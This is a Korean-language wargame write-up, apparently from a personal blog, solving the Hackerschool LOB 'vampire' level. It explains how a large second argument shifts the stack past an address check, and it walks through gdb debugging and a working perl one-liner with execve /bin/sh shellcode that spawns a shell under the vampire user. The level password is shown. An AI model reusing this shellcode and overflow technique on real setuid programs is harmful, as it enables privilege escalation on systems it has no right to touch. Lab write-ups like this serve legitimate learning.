본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( troll -> vampire) by ORANG

LOB_troll

 

 [troll@localhost troll]$ ls

vampire  vampire.c

[troll@localhost troll]$ bash2

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}

 

bash2 + hint..

이번엔 argv[1][46]부분을 검사하네요ㅎㅎ 간단하게 풀 수 있을 것 같습니다.

argv[1][46] 검사 부분을 통과하려면 0xbffeffff 이하의 주소로 리턴 어드레스를 덮어써주면 되겠죠??

 

먼저 메모리 구조를 다시 보겠습니다~

 



 

음 사용자 주소공간의 스택은 0xBFFFFFFF부터 밑으로 자라는게 보입니다.

리턴시킬 주소로 0xBFFEFFFF 이하로 만들어야 하니까.. 윗부분에 argv[2]로 아~~주 큰 메모리를 전달해주면 스택이 자라는 방향은 더 밑으로 이동하겠죠??

argv[1]에 ‘nop+셸코드’를 전달해서 buffer에 덮어쓰고

argv[2]로 0x10000크기( 65536바이트 )를 전달함 -> 0xBFFEFFF 이하로 buffer주소를 잡기위함

buffer의 주소로 RET를 덮어쓰겠습니다~~

 

먼저 gdb로 분석해보겠습니다~

 

 (gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>: push   %ebp

0x8048431 <main+1>: mov    %esp,%ebp

0x8048433 <main+3>: sub    $0x28,%esp

…생략…

0x80484a4 <main+116>: add    $0x4,%esp

0x80484a7 <main+119>: mov    0xc(%ebp),%eax

0x80484aa <main+122>: add    $0x4,%eax

---Type <return> to continue, or q <return> to quit---

0x80484ad <main+125>: mov    (%eax),%edx

0x80484af <main+127>: push   %edx

0x80484b0 <main+128>: lea    0xffffffd8(%ebp),%eax

0x80484b3 <main+131>: push   %eax

0x80484b4 <main+132>: call   0x8048370 <strcpy>

0x80484b9 <main+137>: add    $0x8,%esp

…생략…

 

...

argv[2] ..[65536 바이트]

argv[1]

...

RET [4]

SFP [4]

buffer [40]

 

main+3을 보니 40바이트의 메모리를 확보하는게 보입니다.

메모리 구조는 저런식 이겠네요ㅎㅎ strcpy함수에 인자로 전달되는 eax가 buffer의 주소겠군요

strcpy함수가 끝난 직후인 main+137에 브레이크 포인트를 걸어주고 buffer의 주소를 보겠습니다.

 

 (gdb) b * main+137

Breakpoint 1 at 0x80484b9

(gdb) r `perl -e 'print "A"x44, "BB\xbe\xbf"'` `perl -e 'print "A"x65536'`

Starting program: /home/troll/tmp/./vampire `perl -e 'print "A"x44, "BB\xbe\xbf"'` `perl -e 'print "A"x65536'`


Breakpoint 1, 0x80484b9 in main ()

(gdb) x/50x $eax

0xbffefa80: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffefa90: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffefaa0: 0x41414141 0x41414141 0x41414141 0xbfbe4242

0xbffefab0: 0x00000000 0xbffefaf4 0xbffefb04 0x40013868

0xbffefac0: 0x00000003 0x08048380 0x00000000 0x080483a1

…생략… 

 

buffer의 주소는 0xbffefa80 입니다. argv[1][46] 검사 조건도 우회했네요!!

 

 [troll@localhost tmp]$ ./vampire `perl -e 'print "\x90"x10, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x9, "\x80\xfa\xfe\xbf"'` `perl -e 'print "A"x65536'`

1Ph//shh/binPS°

                               ̀

Segmentation fault (core dumped)

 

는 Fail…… 코어를 보겠습니다.

 

 (gdb) x/200x 0xbffefa80

…생략…

0xbffefc00: 0x7269706d 0x90900065 0x90909090 0x90909090

0xbffefc10: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e

0xbffefc20: 0x89e18953 0xcd0bb0c2 0x90909080 0x90909090

0xbffefc30: 0xfa809090 0x4100bffe 0x41414141 0x41414141

0xbffefc40: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffefc50: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffefc60: 0x41414141 0x41414141 0x41414141 0x41414141

…생략…

 

buffer의 주소는 0xbffefc06이 되네요 다시 공격해보겠습니다!

 

 [troll@localhost tmp]$ ./vampire `perl -e 'print "\x90"x10, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x9, "\x06\xfc\xfe\xbf"'` `perl -e 'print "A"x65536'`

1Ph//shh/binPS°

                               ̀

bash$ id

uid=508(troll) gid=508(troll) groups=508(troll)

bash$ exit

exit

[troll@localhost tmp]$ cd ..

[troll@localhost troll]$ ./vampire `perl -e 'print "\x90"x10, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x9, "\x06\xfc\xfe\xbf"'` `perl -e 'print "A"x65536'`

1Ph//shh/binPS°

                               ̀

bash$ id

uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)

bash$ my-pass

euid = 509

music world

 

다음 단계인 vampire의 셸을 획득했습니다!!